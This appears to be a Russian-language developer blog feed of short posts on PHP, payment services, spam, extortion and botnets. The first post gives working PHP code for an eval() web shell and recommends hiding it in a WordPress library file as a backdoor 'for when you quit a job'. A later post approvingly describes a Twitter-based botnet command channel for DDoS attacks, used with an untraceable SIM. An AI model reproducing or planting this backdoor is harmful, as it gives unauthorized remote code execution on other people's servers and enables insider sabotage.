Очень полезная штука, когда увольняешься. Данный код основан на встроенной функции eval(), которая выполняет строку как php-код. Самое главное запихнуть этот код куда-нибудь поглубже. Например, в какую-нибудь библиотеку "/wp-includes/js/tinymce/help.php". Можно запихнуть этот код не в отдельный файл, а во внутрь какого-нибудь скрипта, только с условием типа if (isset($_GET['eval'])) ...

<?php
if (isset($_POST['code'])) {
	eval($_POST['code']);
}
?>
<form action="" method="post">
	<textarea name="code"></textarea><br />
	<input type="submit" value="Отправить" />
</form>

Пишем php-код в текстовое поле и отправляем. Примеры

Свежая база GeoIP в формате SQL
страны (1 Мб)
города (20 Мб)
Пример определения страны и города по IP

Таблица города-IP состоит из 2.1 млн строк — так что могут быть сюрпризы при импорте на слабом серваке.

онлайн-багтрекер На прошлой работе использовали ОТЕЧЕСТВЕННЫЙ онлайн-багтрекер Teamer (кстати, там до сих пор работают через него). Самое большое преимущество в его простоте — любая девочка освоит его за 5 минут. (далее...)

Бывший спамер, который полностью обеспечил свое будущее и ушел на пенсию в 22 года, написал книгу "Inside the SPAM Cartel: Trade Secrets From the Dark Side". Эд рассылал таргетированный фармацевтический спам по базе людей, которые употребляют антидепрессанты — таких бедолаг только в одной Америке около 9 миллионов. То есть он специально вычислял самых слабых клиентов, потенциальных жертв. По базе лудоманов, которые лечатся от игорной зависимости, Эд рассылал рекламу казино. (далее...)

Метод далеко не новый, но вполне рабочий. Самое главное преимущество в том, что для этого не нужно иметь свой ботнет или арендовать ботнет за 50-100$ в сутки. (далее...)

Наткнулся на хорошие вопросы на собеседовании. Данные задания были разработаны для облегчения проверки знаний соискателей. Задания разработаны таким образом, что Вы можете их выполнить в любое удобное для Вас время и в обстановке, которую считаете оптимальной.

Теперь подробнее о заданиях. Задания разделены на 3 категории. Категория B позволяет оценить базовые знания, насколько Вы, знаете базовые основы языка, основы программирования и насколько хорошо владеете программами необходимыми для разработки продуктов. В категории S расположены вопросы, позволяющие оценить глубину Ваших знаний в той или иной части языка программирования, а так же узнать о знании смежных технологий. Ну и последняя категория, это категория Q в ней собранны вопросы по разработке масштабируемых высоконагруженных систем. (далее...)

Допустим у нас есть 10 элементов и нужно случаным образом выбрать один из них.
Обычно делается это так $i = rand(1,10); где $i — номер элемента в списке. Однако, в данном случае мы получаем выборку с равной вероятностью, т.е. элемент с номером 1 выпадет столько же раз как и элемент с номером 2 или с номером 3 (при большой выборке). усложним задачу

Возникла задача продажи услуг в интернете. Поискал сервисы для удобной оплаты через SMS и платежные системы ( WebMoney, Яндекс.Деньги, Qiwi). В итоге нашел 2 сервиса:
A1Pay
Робокасса
(далее...)

Свежаку уже 2 года. Ребята рассылали письма с угрозами вида "Переведите нам 1000$ в месяц, иначе ваш сайт перестанет работать". Судя по стопкам карточек webmoney, ребята спалились на выводе денег. Кстати, ребята пойдут по статье "вымогательство", по которой посадить гораздо проще, чем по статье "нарушение работы ЭВМ".

Концепция проста до гениальности. Создается аккаунт на твиттере (новые аккаунты могут создаваться постоянно по заданному алгоритму, чтобы избежать блокировки) и твиттербот, который подписывается на него и воспринимает все твиты как команды на исполнение. Например, твит "cmd: look at 1.2.3.4" может запускать DDOS-атаку на адрес 1.2.3.4. Вот так это выглядит в шифрованном виде

Это отличный вариант, потому что запускать атаки теперь легко и удобно прямо с мобильника (разумеется симка должна быть левой), а доступ к твиттеру провайдеры никогда не заблокируют, как доступ к управляющим серверам другого типа. И хостинг-провайдера закрыть не смогут.

Отличная подборка статей об архитектуре высоконагруженных систем на примере крупнейших интернет-проектов.

Архитектура Вконтакте
Архитектура Google
Архитектура Facebook
Архитектура Flickr
Архитектура Amazon
Архитектура YouTube
Архитектура Friends for Sale
Архитектура Wikimedia
Архитектура Digg
Архитектура LiveJournal
Архитектура Twitter
Архитектура Google Talk
Архитектура 37signals
Архитектура Mailinator
Архитектура LinkedIn
Архитектура MySpace
Архитектура Stack Overflow
Архитектура Plenty of Fish